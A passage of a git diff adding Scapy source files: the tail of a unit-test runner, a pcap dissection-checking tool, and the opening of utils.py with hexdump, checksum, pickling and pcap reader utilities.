+                GLOB_PREEXEC += "\n"+optarg
+            elif opt == "-f":
+                try:
+                    FORMAT = Format.from_string(optarg)
+                except KeyError as msg:
+                    raise getopt.GetoptError("Unknown output format %s" % msg)
+            elif opt == "-t":
+                TESTFILES.append(optarg)
+                TESTFILES = resolve_testfiles(TESTFILES)
+            elif opt == "-T":
+                TESTFILES.remove(optarg)
+            elif opt == "-c":
+                data = parse_config_file(optarg, VERB)
+                ONLYFAILED = data.onlyfailed
+                VERB = data.verb
+                DUMP = data.dump
+                CRC = data.crc
+                SCAPY = data.scapy
+                PREEXEC_DICT = data.preexec
+                GLOB_PREEXEC = data.global_preexec
+                OUTPUTFILE = data.outfile
+                TESTFILES = data.testfiles
+                LOCAL = 1 if data.local else 0
+                NUM = data.num
+                MODULES = data.modules
+                KW_OK = [data.kw_ok]
+                KW_KO = [data.kw_ko]
+                try:
+                    FORMAT = Format.from_string(data.format)
+                except KeyError as msg:
+                    raise getopt.GetoptError("Unknown output format %s" % msg)
+                TESTFILES = resolve_testfiles(TESTFILES)
+            elif opt == "-o":
+                OUTPUTFILE = open(optarg, "wb")
+            elif opt == "-l":
+                LOCAL = 1
+            elif opt == "-n":
+                NUM = []
+                for v in (x.strip() for x in optarg.split(",")):
+                    try:
+                        NUM.append(int(v))
+                    except ValueError:
+                        v1, v2 = [int(e) for e in v.split('-', 1)]
+                        NUM.extend(range(v1, v2 + 1))
+            elif opt == "-m":
+                MODULES.append(optarg)
+            elif opt == "-k":
+                KW_OK.append(optarg.split(","))
+            elif opt == "-K":
+                KW_KO.append(optarg.split(","))
+
+        if VERB > 2:
+            print("### Booting scapy...", file=sys.stderr)
+        try:
+            from scapy import all as scapy
+        except ImportError as e:
+            raise getopt.GetoptError("cannot import [%s]: %s" % (SCAPY,e))
+
+        for m in MODULES:
+            try:
+                mod = import_module(m)
+                six.moves.builtins.__dict__.update(mod.__dict__)
+            except ImportError as e:
+                raise getopt.GetoptError("cannot import [%s]: %s" % (m,e))
+                
+    except getopt.GetoptError as msg:
+        print("ERROR:",msg, file=sys.stderr)
+        raise SystemExit
+
+    autorun_func = {
+        Format.TEXT: scapy.autorun_get_text_interactive_session,
+        Format.ANSI: scapy.autorun_get_ansi_interactive_session,
+        Format.HTML: scapy.autorun_get_html_interactive_session,
+        Format.LATEX: scapy.autorun_get_latex_interactive_session,
+        Format.XUNIT: scapy.autorun_get_text_interactive_session,
+        }
+
+    if VERB > 2:
+        print("### Starting tests...", file=sys.stderr)
+
+    glob_output = ""
+    glob_result = 0
+    glob_title = None
+
+    UNIQUE = len(TESTFILES) == 1
+
+    # Resolve tags and asterix
+    for prex in six.iterkeys(copy.copy(PREEXEC_DICT)):
+        if "*" in prex:
+            pycode = PREEXEC_DICT[prex]
+            del PREEXEC_DICT[prex]
+            for gl in glob.iglob(prex):
+                _pycode = pycode.replace("%name%", os.path.splitext(os.path.split(gl)[1])[0])
+                PREEXEC_DICT[gl] = _pycode
+
+    pos_begin = 0
+
+    runned_campaigns = []
+    # Execute all files
+    for TESTFILE in TESTFILES:
+        if VERB > 2:
+            print("### Loading:", TESTFILE, file=sys.stderr)
+        PREEXEC = PREEXEC_DICT[TESTFILE] if TESTFILE in PREEXEC_DICT else GLOB_PREEXEC
+        output, result, campaign = execute_campaign(open(TESTFILE), OUTPUTFILE,
+                                          PREEXEC, NUM, KW_OK, KW_KO,
+                                          DUMP, FORMAT, VERB, ONLYFAILED,
+                                          CRC, autorun_func, pos_begin, ignore_globals)
+        runned_campaigns.append(campaign)
+        pos_begin = campaign.end_pos
+        if UNIQUE:
+            glob_title = campaign.title
+        glob_output += output
+        if not result:
+            glob_result = 1
+            break
+
+    if VERB > 2:
+            print("### Writing output...", file=sys.stderr)
+    # Concenate outputs
+    if FORMAT == Format.HTML:
+        glob_output = pack_html_campaigns(runned_campaigns, glob_output, LOCAL, glob_title)
+    
+    OUTPUTFILE.write(glob_output.encode("utf8", "ignore")
+                     if 'b' in OUTPUTFILE.mode else glob_output)
+    OUTPUTFILE.close()
+
+    # Return state
+    return glob_result
+
+if __name__ == "__main__":
+    sys.exit(main(sys.argv[1:]))
diff --git a/scapy/tools/__init__.py b/scapy/tools/__init__.py
new file mode 100644
index 0000000..af6eec7
--- /dev/null
+++ b/scapy/tools/__init__.py
@@ -0,0 +1,8 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Additional tools to be run separately
+"""
diff --git a/scapy/tools/check_asdis.py b/scapy/tools/check_asdis.py
new file mode 100755
index 0000000..6431d23
--- /dev/null
+++ b/scapy/tools/check_asdis.py
@@ -0,0 +1,104 @@
+#! /usr/bin/env python
+
+from __future__ import print_function
+import getopt
+
+def usage():
+    print("""Usage: check_asdis -i <pcap_file> [-o <wrong_packets.pcap>]
+    -v   increase verbosity
+    -d   hexdiff packets that differ
+    -z   compress output pcap
+    -a   open pcap file in append mode""", file=sys.stderr)
+
+def main(argv):
+    PCAP_IN = None
+    PCAP_OUT = None
+    COMPRESS=False
+    APPEND=False
+    DIFF=False
+    VERBOSE=0
+    try:
+        opts=getopt.getopt(argv, "hi:o:azdv")
+        for opt, parm in opts[0]:
+            if opt == "-h":
+                usage()
+                raise SystemExit
+            elif opt == "-i":
+                PCAP_IN = parm
+            elif opt == "-o":
+                PCAP_OUT = parm
+            elif opt == "-v":
+                VERBOSE += 1
+            elif opt == "-d":
+                DIFF = True
+            elif opt == "-a":
+                APPEND = True
+            elif opt == "-z":
+                COMPRESS = True
+                
+                
+        if PCAP_IN is None:
+            raise getopt.GetoptError("Missing pcap file (-i)")
+    
+    except getopt.GetoptError as e:
+        print("ERROR: %s" % e, file=sys.stderr)
+        raise SystemExit
+    
+    
+
+    from scapy.config import conf
+    from scapy.utils import RawPcapReader,RawPcapWriter,hexdiff
+    from scapy.layers import all
+
+
+    pcap = RawPcapReader(PCAP_IN)
+    pcap_out = None
+    if PCAP_OUT:
+        pcap_out = RawPcapWriter(PCAP_OUT, append=APPEND, gz=COMPRESS, linktype=pcap.linktype)
+        pcap_out._write_header(None)
+
+    LLcls = conf.l2types.get(pcap.linktype)
+    if LLcls is None:
+        print(" Unknown link type [%i]. Can't test anything!" % pcap.linktype, file=sys.stderr)
+        raise SystemExit
+    
+    
+    i=-1
+    differ=0
+    failed=0
+    for p1,meta in pcap:
+        i += 1
+        try:
+            p2d = LLcls(p1)
+            p2 = str(p2d)
+        except KeyboardInterrupt:
+            raise
+        except Exception as e:
+            print("Dissection error on packet %i" % i)
+            failed += 1
+        else:
+            if p1 == p2:
+                if VERBOSE >= 2:
+                    print("Packet %i ok" % i)
+                continue
+            else:
+                print("Packet %i differs" % i)
+                differ += 1
+                if VERBOSE >= 1:
+                    print(repr(p2d))
+                if DIFF:
+                    hexdiff(p1,p2)
+        if pcap_out is not None:
+            pcap_out.write(p1)
+    i+=1
+    correct = i-differ-failed
+    print("%i total packets. %i ok, %i differed, %i failed. %.2f%% correct." % (i, correct, differ,
+                                                                                failed, i and 100.0*(correct)/i))
+    
+        
+if __name__ == "__main__":
+    import sys
+    try:
+        main(sys.argv[1:])
+    except KeyboardInterrupt:
+        print("Interrupted by user.", file=sys.stderr)
diff --git a/scapy/utils.py b/scapy/utils.py
new file mode 100644
index 0000000..76ccb7a
--- /dev/null
+++ b/scapy/utils.py
@@ -0,0 +1,1518 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+General utility functions.
+"""
+
+from __future__ import absolute_import
+from __future__ import print_function
+import os, sys, socket, types
+import random, time
+import gzip, zlib
+import re, struct, array
+import subprocess
+import tempfile
+
+import warnings
+import scapy.modules.six as six
+from scapy.modules.six.moves import range
+warnings.filterwarnings("ignore","tempnam",RuntimeWarning, __name__)
+
+from scapy.config import conf
+from scapy.consts import DARWIN, WINDOWS
+from scapy.data import MTU
+from scapy.compat import *
+from scapy.error import log_runtime, log_loading, log_interactive, Scapy_Exception, warning
+from scapy.base_classes import BasePacketList
+
+###########
+## Tools ##
+###########
+
+def get_temp_file(keep=False, autoext=""):
+    """Create a temporary file and return its name. When keep is False,
+the file is deleted when scapy exits.
+
+    """
+    fname = tempfile.NamedTemporaryFile(prefix="scapy", suffix=autoext,
+                                        delete=False).name
+    if not keep:
+        conf.temp_files.append(fname)
+    return fname
+
+def sane_color(x):
+    r=""
+    for i in x:
+        j = orb(i)
+        if (j < 32) or (j >= 127):
+            r=r+conf.color_theme.not_printable(".")
+        else:
+            r=r+chr(j)
+    return r
+
+def sane(x):
+    r=""
+    for i in x:
+        j = orb(i)
+        if (j < 32) or (j >= 127):
+            r=r+"."
+        else:
+            r=r+chr(j)
+    return r
+
+@conf.commands.register
+def restart():
+    """Restarts scapy"""
+    if not conf.interactive or not os.path.isfile(sys.argv[0]):
+        raise OSError("Scapy was not started from console")
+    if WINDOWS:
+        os._exit(subprocess.call([sys.executable] + sys.argv))
+    os.execv(sys.executable, [sys.executable] + sys.argv)
+
+def lhex(x):
+    if type(x) in six.integer_types:
+        return hex(x)
+    elif isinstance(x, tuple):
+        return "(%s)" % ", ".join(map(lhex, x))
+    elif isinstance(x, list):
+        return "[%s]" % ", ".join(map(lhex, x))
+    else:
+        return x
+
+@conf.commands.register
+def hexdump(x, dump=False):
+    """ Build a tcpdump like hexadecimal view
+
+    :param x: a Packet
+    :param dump: define if the result must be printed or returned in a variable
+    :returns: a String only when dump=True
+    """
+    s = ""
+    x = raw(x)
+    l = len(x)
+    i = 0
+    while i < l:
+        s += "%04x  " % i
+        for j in range(16):
+            if i+j < l:
+                s += "%02X" % orb(x[i+j])
+            else:
+                s += "  "
+            if j%16 == 7:
+                s += ""
+        s += " "
+        s += sane_color(x[i:i+16])
+        i += 16
+        s += "\n"
+    # remove trailing \n
+    if s.endswith("\n"):
+        s = s[:-1]
+    if dump:
+        return s
+    else:
+        print(s)
+
+
+@conf.commands.register
+def linehexdump(x, onlyasc=0, onlyhex=0, dump=False):
+    """ Build an equivalent view of hexdump() on a single line
+
+    Note that setting both onlyasc and onlyhex to 1 results in a empty output
+
+    :param x: a Packet
+    :param onlyasc: 1 to display only the ascii view
+    :param onlyhex: 1 to display only the hexadecimal view
+    :param dump: print the view if False
+    :returns: a String only when dump=True
+    """
+    s = ""
+    x = raw(x)
+    l = len(x)
+    if not onlyasc:
+        for i in range(l):
+            s += "%02X" % orb(x[i])
+        if not onlyhex:  # separate asc & hex if both are displayed
+            s += " "
+    if not onlyhex:
+        s += sane_color(x)
+    if dump:
+        return s
+    else:
+        print(s)
+
+@conf.commands.register
+def chexdump(x, dump=False):
+    """ Build a per byte hexadecimal representation
+    
+    Example:
+        >>> chexdump(IP())
+        0x45, 0x00, 0x00, 0x14, 0x00, 0x01, 0x00, 0x00, 0x40, 0x00, 0x7c, 0xe7, 0x7f, 0x00, 0x00, 0x01, 0x7f, 0x00, 0x00, 0x01
+    
+    :param x: a Packet
+    :param dump: print the view if False
+    :returns: a String only if dump=True
+    """
+    x = raw(x)
+    s = ", ".join("%#04x" % orb(x) for x in x)
+    if dump:
+        return s
+    else:
+        print(s)
+
+@conf.commands.register
+def hexstr(x, onlyasc=0, onlyhex=0):
+    s = []
+    if not onlyasc:
+        s.append(" ".join("%02x" % orb(b) for b in x))
+    if not onlyhex:
+        s.append(sane(x)) 
+    return "  ".join(s)
+
+def repr_hex(s):
+    """ Convert provided bitstring to a simple string of hex digits """
+    return "".join("%02x" % orb(x) for x in s)
+
+@conf.commands.register
+def hexdiff(x,y):
+    """Show differences between 2 binary strings"""
+    x=raw(x)[::-1]
+    y=raw(y)[::-1]
+    SUBST=1
+    INSERT=1
+    d = {(-1, -1): (0, (-1, -1))}
+    for j in range(len(y)):
+        d[-1,j] = d[-1,j-1][0]+INSERT, (-1,j-1)
+    for i in range(len(x)):
+        d[i,-1] = d[i-1,-1][0]+INSERT, (i-1,-1)
+
+    for j in range(len(y)):
+        for i in range(len(x)):
+            d[i,j] = min( ( d[i-1,j-1][0]+SUBST*(x[i] != y[j]), (i-1,j-1) ),
+                          ( d[i-1,j][0]+INSERT, (i-1,j) ),
+                          ( d[i,j-1][0]+INSERT, (i,j-1) ) )
+                          
+
+    backtrackx = []
+    backtracky = []
+    i=len(x)-1
+    j=len(y)-1
+    while not (i == j == -1):
+        i2,j2 = d[i,j][1]
+        backtrackx.append(x[i2+1:i+1])
+        backtracky.append(y[j2+1:j+1])
+        i,j = i2,j2
+
+        
+
+    x = y = i = 0
+    colorize = { 0: lambda x:x,
+                -1: conf.color_theme.left,
+                 1: conf.color_theme.right }
+    
+    dox=1
+    doy=0
+    l = len(backtrackx)
+    while i < l:
+        separate=0
+        linex = backtrackx[i:i+16]
+        liney = backtracky[i:i+16]
+        xx = sum(len(k) for k in linex)
+        yy = sum(len(k) for k in liney)
+        if dox and not xx:
+            dox = 0
+            doy = 1
+        if dox and linex == liney:
+            doy=1
+            
+        if dox:
+            xd = y
+            j = 0
+            while not linex[j]:
+                j += 1
+                xd -= 1
+            print(colorize[doy-dox]("%04x" % xd), end=' ')
+            x += xx
+            line=linex
+        else:
+            print("    ", end=' ')
+        if doy:
+            yd = y
+            j = 0
+            while not liney[j]:
+                j += 1
+                yd -= 1
+            print(colorize[doy-dox]("%04x" % yd), end=' ')
+            y += yy
+            line=liney
+        else:
+            print("    ", end=' ')
+            
+        print(" ", end=' ')
+        
+        cl = ""
+        for j in range(16):
+            if i+j < l:
+                if line[j]:
+                    col = colorize[(linex[j]!=liney[j])*(doy-dox)]
+                    print(col("%02X" % orb(line[j])), end=' ')
+                    if linex[j]==liney[j]:
+                        cl += sane_color(line[j])
+                    else:
+                        cl += col(sane(line[j]))
+                else:
+                    print("  ", end=' ')
+                    cl += " "
+            else:
+                print("  ", end=' ')
+            if j == 7:
+                print("", end=' ')
+
+
+        print(" ",cl)
+
+        if doy or not yy:
+            doy=0
+            dox=1
+            i += 16
+        else:
+            if yy:
+                dox=0
+                doy=1
+            else:
+                i += 16
+
+if struct.pack("H",1) == b"\x00\x01": # big endian
+    def checksum(pkt):
+        if len(pkt) % 2 == 1:
+            pkt += b"\0"
+        s = sum(array.array("H", pkt))
+        s = (s >> 16) + (s & 0xffff)
+        s += s >> 16
+        s = ~s
+        return s & 0xffff
+else:
+    def checksum(pkt):
+        if len(pkt) % 2 == 1:
+            pkt += b"\0"
+        s = sum(array.array("H", pkt))
+        s = (s >> 16) + (s & 0xffff)
+        s += s >> 16
+        s = ~s
+        return (((s>>8)&0xff)|s<<8) & 0xffff
+
+
+def _fletcher16(charbuf):
+    # This is based on the GPLed C implementation in Zebra <http://www.zebra.org/>
+    c0 = c1 = 0
+    for char in charbuf:
+        c0 += orb(char)
+        c1 += c0
+
+    c0 %= 255
+    c1 %= 255
+    return (c0,c1)
+
+@conf.commands.register
+def fletcher16_checksum(binbuf):
+    """ Calculates Fletcher-16 checksum of the given buffer.
+        
+        Note:
+        If the buffer contains the two checkbytes derived from the Fletcher-16 checksum
+        the result of this function has to be 0. Otherwise the buffer has been corrupted.
+    """
+    (c0,c1)= _fletcher16(binbuf)
+    return (c1 << 8) | c0
+
+
+@conf.commands.register
+def fletcher16_checkbytes(binbuf, offset):
+    """ Calculates the Fletcher-16 checkbytes returned as 2 byte binary-string.
+    
+        Including the bytes into the buffer (at the position marked by offset) the
+        global Fletcher-16 checksum of the buffer will be 0. Thus it is easy to verify
+        the integrity of the buffer on the receiver side.
+        
+        For details on the algorithm, see RFC 2328 chapter 12.1.7 and RFC 905 Annex B.
+    """
+    
+    # This is based on the GPLed C implementation in Zebra <http://www.zebra.org/>
+    if len(binbuf) < offset:
+        raise Exception("Packet too short for checkbytes %d" % len(binbuf))
+
+    binbuf = binbuf[:offset] + b"\x00\x00" + binbuf[offset + 2:]
+    (c0,c1)= _fletcher16(binbuf)
+
+    x = ((len(binbuf) - offset - 1) * c0 - c1) % 255
+
+    if (x <= 0):
+        x += 255
+
+    y = 510 - c0 - x
+
+    if (y > 255):
+        y -= 255
+    return chb(x) + chb(y)
+
+
+def mac2str(mac):
+    return b"".join(chb(int(x, 16)) for x in mac.split(':'))
+
+def str2mac(s):
+    if isinstance(s, str):
+        return ("%02x:"*6)[:-1] % tuple(map(ord, s))
+    return ("%02x:"*6)[:-1] % tuple(s)
+
+def randstring(l):
+    """
+    Returns a random string of length l (l >= 0)
+    """
+    return b"".join(struct.pack('B', random.randint(0, 255)) for _ in range(l))
+
+def zerofree_randstring(l):
+    """
+    Returns a random string of length l (l >= 0) without zero in it.
+    """
+    return b"".join(struct.pack('B', random.randint(1, 255)) for _ in range(l))
+
+def strxor(s1, s2):
+    """
+    Returns the binary XOR of the 2 provided strings s1 and s2. s1 and s2
+    must be of same length.
+    """
+    return b"".join(map(lambda x,y:chb(orb(x)^orb(y)), s1, s2))
+
+def strand(s1, s2):
+    """
+    Returns the binary AND of the 2 provided strings s1 and s2. s1 and s2
+    must be of same length.
+    """
+    return b"".join(map(lambda x,y:chb(orb(x)&orb(y)), s1, s2))
+
+
+# Workaround bug 643005 : https://sourceforge.net/tracker/?func=detail&atid=105470&aid=643005&group_id=5470
+try:
+    socket.inet_aton("255.255.255.255")
+except socket.error:
+    def inet_aton(x):
+        if x == "255.255.255.255":
+            return b"\xff"*4
+        else:
+            return socket.inet_aton(x)
+else:
+    inet_aton = socket.inet_aton
+
+inet_ntoa = socket.inet_ntoa
+from scapy.pton_ntop import *
+
+
+def atol(x):
+    try:
+        ip = inet_aton(x)
+    except socket.error:
+        ip = inet_aton(socket.gethostbyname(x))
+    return struct.unpack("!I", ip)[0]
+def ltoa(x):
+    return inet_ntoa(struct.pack("!I", x&0xffffffff))
+
+def itom(x):
+    return (0xffffffff00000000>>x)&0xffffffff
+
+class ContextManagerSubprocess(object):
+    """
+    Context manager that eases checking for unknown command.
+
+    Example:
+    >>> with ContextManagerSubprocess("my custom message"):
+    >>>     subprocess.Popen(["unknown_command"])
+
+    """
+    def __init__(self, name, prog):
+        self.name = name
+        self.prog = prog
+
+    def __enter__(self):
+        pass
+
+    def __exit__(self, exc_type, exc_value, traceback):
+        if isinstance(exc_value, (OSError, TypeError)):
+            msg = "%s: executing %r failed" % (self.name, self.prog) if self.prog else "Could not execute %s, is it installed ?" % self.name
+            if not conf.interactive:
+                raise OSError(msg)
+            else:
+                log_runtime.error(msg, exc_info=True)
+                return True  # Suppress the exception
+
+class ContextManagerCaptureOutput(object):
+    """
+    Context manager that intercept the console's output.
+
+    Example:
+    >>> with ContextManagerCaptureOutput() as cmco:
+    ...     print("hey")
+    ...     assert cmco.get_output() == "hey"
+    """
+    def __init__(self):
+        self.result_export_object = ""
+        try:
+            import mock
+        except:
+            raise ImportError("The mock module needs to be installed !")
+    def __enter__(self):
+        import mock
+        def write(s, decorator=self):
+            decorator.result_export_object += s
+        mock_stdout = mock.Mock()
+        mock_stdout.write = write
+        self.bck_stdout = sys.stdout
+        sys.stdout = mock_stdout
+        return self
+    def __exit__(self, *exc):
+        sys.stdout = self.bck_stdout
+        return False
+    def get_output(self, eval_bytes=False):
+        if self.result_export_object.startswith("b'") and eval_bytes:
+            return plain_str(eval(self.result_export_object))
+        return self.result_export_object
+
+def do_graph(graph,prog=None,format=None,target=None,type=None,string=None,options=None):
+    """do_graph(graph, prog=conf.prog.dot, format="svg",
+         target="| conf.prog.display", options=None, [string=1]):
+    string: if not None, simply return the graph string
+    graph: GraphViz graph description
+    format: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option
+    target: filename or redirect. Defaults pipe to Imagemagick's display program
+    prog: which graphviz program to use
+    options: options to be passed to prog"""
+        
+    if format is None:
+        if WINDOWS:
+            format = "png" # use common format to make sure a viewer is installed
+        else:
+            format = "svg"
+    if string:
+        return graph
+    if type is not None:
+        format=type
+    if prog is None:
+        prog = conf.prog.dot
+    start_viewer=False
+    if target is None:
+        if WINDOWS:
+            target = get_temp_file(autoext="."+format)
+            start_viewer = True
+        else:
+            with ContextManagerSubprocess("do_graph()", conf.prog.display):
+                target = subprocess.Popen([conf.prog.display],
+                                          stdin=subprocess.PIPE).stdin
+    if format is not None:
+        format = "-T%s" % format
+    if isinstance(target, str):
+        if target.startswith('|'):
+            target = subprocess.Popen(target[1:].lstrip(), shell=True,
+                                      stdin=subprocess.PIPE).stdin
+        elif target.startswith('>'):
+            target = open(target[1:].lstrip(), "wb")
+        else:
+            target = open(os.path.abspath(target), "wb")
+    proc = subprocess.Popen("\"%s\" %s %s" % (prog, options or "", format or ""),
+                            shell=True, stdin=subprocess.PIPE, stdout=target)
+    proc.stdin.write(raw(graph))
+    try:
+        target.close()
+    except:
+        pass
+    if start_viewer:
+        # Workaround for file not found error: We wait until tempfile is written.
+        waiting_start = time.time()
+        while not os.path.exists(target.name):
+            time.sleep(0.1)
+            if time.time() - waiting_start > 3:
+                warning("Temporary file '%s' could not be written. Graphic will not be displayed.", tempfile)
+                break
+        else:  
+            if conf.prog.display == conf.prog._default:
+                os.startfile(target.name)
+            else:
+                with ContextManagerSubprocess("do_graph()", conf.prog.display):
+                    subprocess.Popen([conf.prog.display, target.name])
+
+_TEX_TR = {
+    "{":"{\\tt\\char123}",
+    "}":"{\\tt\\char125}",
+    "\\":"{\\tt\\char92}",
+    "^":"\\^{}",
+    "$":"\\$",
+    "#":"\\#",
+    "~":"\\~",
+    "_":"\\_",
+    "&":"\\&",
+    "%":"\\%",
+    "|":"{\\tt\\char124}",
+    "~":"{\\tt\\char126}",
+    "<":"{\\tt\\char60}",
+    ">":"{\\tt\\char62}",
+    }
+    
+def tex_escape(x):
+    s = ""
+    for c in x:
+        s += _TEX_TR.get(c,c)
+    return s
+
+def colgen(*lstcol,**kargs):
+    """Returns a generator that mixes provided quantities forever
+    trans: a function to convert the three arguments into a color. lambda x,y,z:(x,y,z) by default"""
+    if len(lstcol) < 2:
+        lstcol *= 2
+    trans = kargs.get("trans", lambda x,y,z: (x,y,z))
+    while True:
+        for i in range(len(lstcol)):
+            for j in range(len(lstcol)):
+                for k in range(len(lstcol)):
+                    if i != j or j != k or k != i:
+                        yield trans(lstcol[(i+j)%len(lstcol)],lstcol[(j+k)%len(lstcol)],lstcol[(k+i)%len(lstcol)])
+
+def incremental_label(label="tag%05i", start=0):
+    while True:
+        yield label % start
+        start += 1
+
+def binrepr(val):
+    return bin(val)[2:]
+
+def long_converter(s):
+    return int(s.replace('\n', '').replace(' ', ''), 16)
+
+#########################
+#### Enum management ####
+#########################
+
+class EnumElement:
+    _value=None
+    def __init__(self, key, value):
+        self._key = key
+        self._value = value
+    def __repr__(self):
+        return "<%s %s[%r]>" % (self.__dict__.get("_name", self.__class__.__name__), self._key, self._value)
+    def __getattr__(self, attr):
+        return getattr(self._value, attr)
+    def __str__(self):
+        return self._key
+    def __bytes__(self):
+        return raw(self.__str__())
+    def __hash__(self):
+        return self._value
+    def __int__(self):
+        return int(self._value)
+    def __eq__(self, other):
+        return self._value == int(other)
+    def __neq__(self, other):
+        return not self.__eq__(other)
+
+
+class Enum_metaclass(type):
+    element_class = EnumElement
+    def __new__(cls, name, bases, dct):
+        rdict={}
+        for k,v in six.iteritems(dct):
+            if isinstance(v, int):
+                v = cls.element_class(k,v)
+                dct[k] = v
+                rdict[v] = k
+        dct["__rdict__"] = rdict
+        return super(Enum_metaclass, cls).__new__(cls, name, bases, dct)
+    def __getitem__(self, attr):
+        return self.__rdict__[attr]
+    def __contains__(self, val):
+        return val in self.__rdict__
+    def get(self, attr, val=None):
+        return self.__rdict__.get(attr, val)
+    def __repr__(self):
+        return "<%s>" % self.__dict__.get("name", self.__name__)
+
+
+
+###################
+## Object saving ##
+###################
+
+
+def export_object(obj):
+    print(bytes_base64(gzip.zlib.compress(six.moves.cPickle.dumps(obj, 2), 9)))
+
+def import_object(obj=None):
+    if obj is None:
+        obj = sys.stdin.read()
+    return six.moves.cPickle.loads(gzip.zlib.decompress(base64_bytes(obj.strip())))
+
+
+def save_object(fname, obj):
+    """Pickle a Python object"""
+
+    fd = gzip.open(fname, "wb")
+    six.moves.cPickle.dump(obj, fd)
+    fd.close()
+
+def load_object(fname):
+    """unpickle a Python object"""
+    return six.moves.cPickle.load(gzip.open(fname,"rb"))
+
+@conf.commands.register
+def corrupt_bytes(s, p=0.01, n=None):
+    """Corrupt a given percentage or number of bytes from a string"""
+    s = array.array("B",raw(s))
+    l = len(s)
+    if n is None:
+        n = max(1,int(l*p))
+    for i in random.sample(range(l), n):
+        s[i] = (s[i]+random.randint(1,255))%256
+    return s.tostring()
+
+@conf.commands.register
+def corrupt_bits(s, p=0.01, n=None):
+    """Flip a given percentage or number of bits from a string"""
+    s = array.array("B",raw(s))
+    l = len(s)*8
+    if n is None:
+        n = max(1,int(l*p))
+    for i in random.sample(range(l), n):
+        s[i // 8] ^= 1 << (i % 8)
+    return s.tostring()
+
+
+
+
+#############################
+## pcap capture file stuff ##
+#############################
+
+@conf.commands.register
+def wrpcap(filename, pkt, *args, **kargs):
+    """Write a list of packets to a pcap file
+
+filename: the name of the file to write packets to, or an open,
+          writable file-like object. The file descriptor will be
+          closed at the end of the call, so do not use an object you
+          do not want to close (e.g., running wrpcap(sys.stdout, [])
+          in interactive mode will crash Scapy).
+gz: set to 1 to save a gzipped capture
+linktype: force linktype value
+endianness: "<" or ">", force endianness
+sync: do not bufferize writes to the capture file
+
+    """
+    with PcapWriter(filename, *args, **kargs) as fdesc:
+        fdesc.write(pkt)
+
+@conf.commands.register
+def rdpcap(filename, count=-1):
+    """Read a pcap or pcapng file and return a packet list
+
+count: read only <count> packets
+
+    """
+    with PcapReader(filename) as fdesc:
+        return fdesc.read_all(count=count)
+
+
+class PcapReader_metaclass(type):
+    """Metaclass for (Raw)Pcap(Ng)Readers"""
+
+    def __new__(cls, name, bases, dct):
+        """The `alternative` class attribute is declared in the PcapNg
+        variant, and set here to the Pcap variant.
+
+        """
+        newcls = super(PcapReader_metaclass, cls).__new__(cls, name, bases, dct)
+        if 'alternative' in dct:
+            dct['alternative'].alternative = newcls
+        return newcls
+
+    def __call__(cls, filename):
+        """Creates a cls instance, use the `alternative` if that
+        fails.
+
+        """
+        i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__)
+        filename, fdesc, magic = cls.open(filename)
+        try:
+            i.__init__(filename, fdesc, magic)
+        except Scapy_Exception:
+            if "alternative" in cls.__dict__:
+                cls = cls.__dict__["alternative"]
+                i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__)
+                try:
+                    i.__init__(filename, fdesc, magic)
+                except Scapy_Exception:
+                    raise
+                    try:
+                        i.f.seek(-4, 1)
+                    except:
+                        pass
+                    raise Scapy_Exception("Not a supported capture file")
+
+        return i
+
+    @staticmethod
+    def open(filename):
+        """Open (if necessary) filename, and read the magic."""
+        if isinstance(filename, six.string_types):
+            try:
+                fdesc = gzip.open(filename,"rb")
+                magic = fdesc.read(4)
+            except IOError:
+                fdesc = open(filename, "rb")
+                magic = fdesc.read(4)
+        else:
+            fdesc = filename
+            filename = (fdesc.name
+                        if hasattr(fdesc, "name") else
+                        "No name")
+            magic = fdesc.read(4)
+        return filename, fdesc, magic
+
+
+class RawPcapReader(six.with_metaclass(PcapReader_metaclass)):
+    """A stateful pcap reader. Each packet is returned as a string"""
+    def __init__(self, filename, fdesc, magic):
+        self.filename = filename
+        self.f = fdesc
+        if magic == b"\xa1\xb2\xc3\xd4": # big endian
+            self.endian = ">"
+            self.nano = False
+        elif magic == b"\xd4\xc3\xb2\xa1": # little endian
+            self.endian = "<"
+            self.nano = False
+        elif magic == b"\xa1\xb2\x3c\x4d":  # big endian, nanosecond-precision
+            self.endian = ">"
+            self.nano = True
+        elif magic == b"\x4d\x3c\xb2\xa1":  # little endian, nanosecond-precision
+            self.endian = "<"
+            self.nano = True
+        else:
+            raise Scapy_Exception(
+                "Not a pcap capture file (bad magic: %r)" % magic
+            )
+        hdr = self.f.read(20)
+        if len(hdr)<20:
+            raise Scapy_Exception("Invalid pcap file (too short)")
+        vermaj, vermin, tz, sig, snaplen, linktype = struct.unpack(
+            self.endian + "HHIIII", hdr
+        )
+        self.linktype = linktype
+
+    def __iter__(self):
+        return self
+
+    def next(self):
+        """implement the iterator protocol on a set of packets in a pcap file"""
+        pkt = self.read_packet()
+        if pkt == None:
+            raise StopIteration
+        return pkt
+    __next__ = next
+
+
+    def read_packet(self, size=MTU):
+        """return a single packet read from the file
+        
+        returns None when no more packets are available
+        """
+        hdr = self.f.read(16)
+        if len(hdr) < 16:
+            return None
+        sec,usec,caplen,wirelen = struct.unpack(self.endian+"IIII", hdr)
+        s = self.f.read(caplen)[:size]
+        return s,(sec,usec,wirelen) # caplen = len(s)
+
+
+    def dispatch(self, callback):
+        """call the specified callback routine for each packet read
+        
+        This is just a convenience function for the main loop
+        that allows for easy launching of packet processing in a 
+        thread.
+        """
+        for p in self:
+            callback(p)
+
+    def read_all(self,count=-1):
+        """return a list of all packets in the pcap file
+        """
+        res=[]
+        while count != 0:
+            count -= 1
+            p = self.read_packet()
+            if p is None:
+                break
+            res.append(p)
+        return res
+
+    def recv(self, size=MTU):
+        """ Emulate a socket
+        """
+        return self.read_packet(size=size)[0]
+
+    def fileno(self):
+        return self.f.fileno()
+
+    def close(self):
+        return self.f.close()
+
+    def __enter__(self):
+        return self
+
+    def __exit__(self, exc_type, exc_value, tracback):
+        self.close()
+
+
+class PcapReader(RawPcapReader):
+    def __init__(self, filename, fdesc, magic):
+        RawPcapReader.__init__(self, filename, fdesc, magic)
+        try:
+            self.LLcls = conf.l2types[self.linktype]
+        except KeyError:
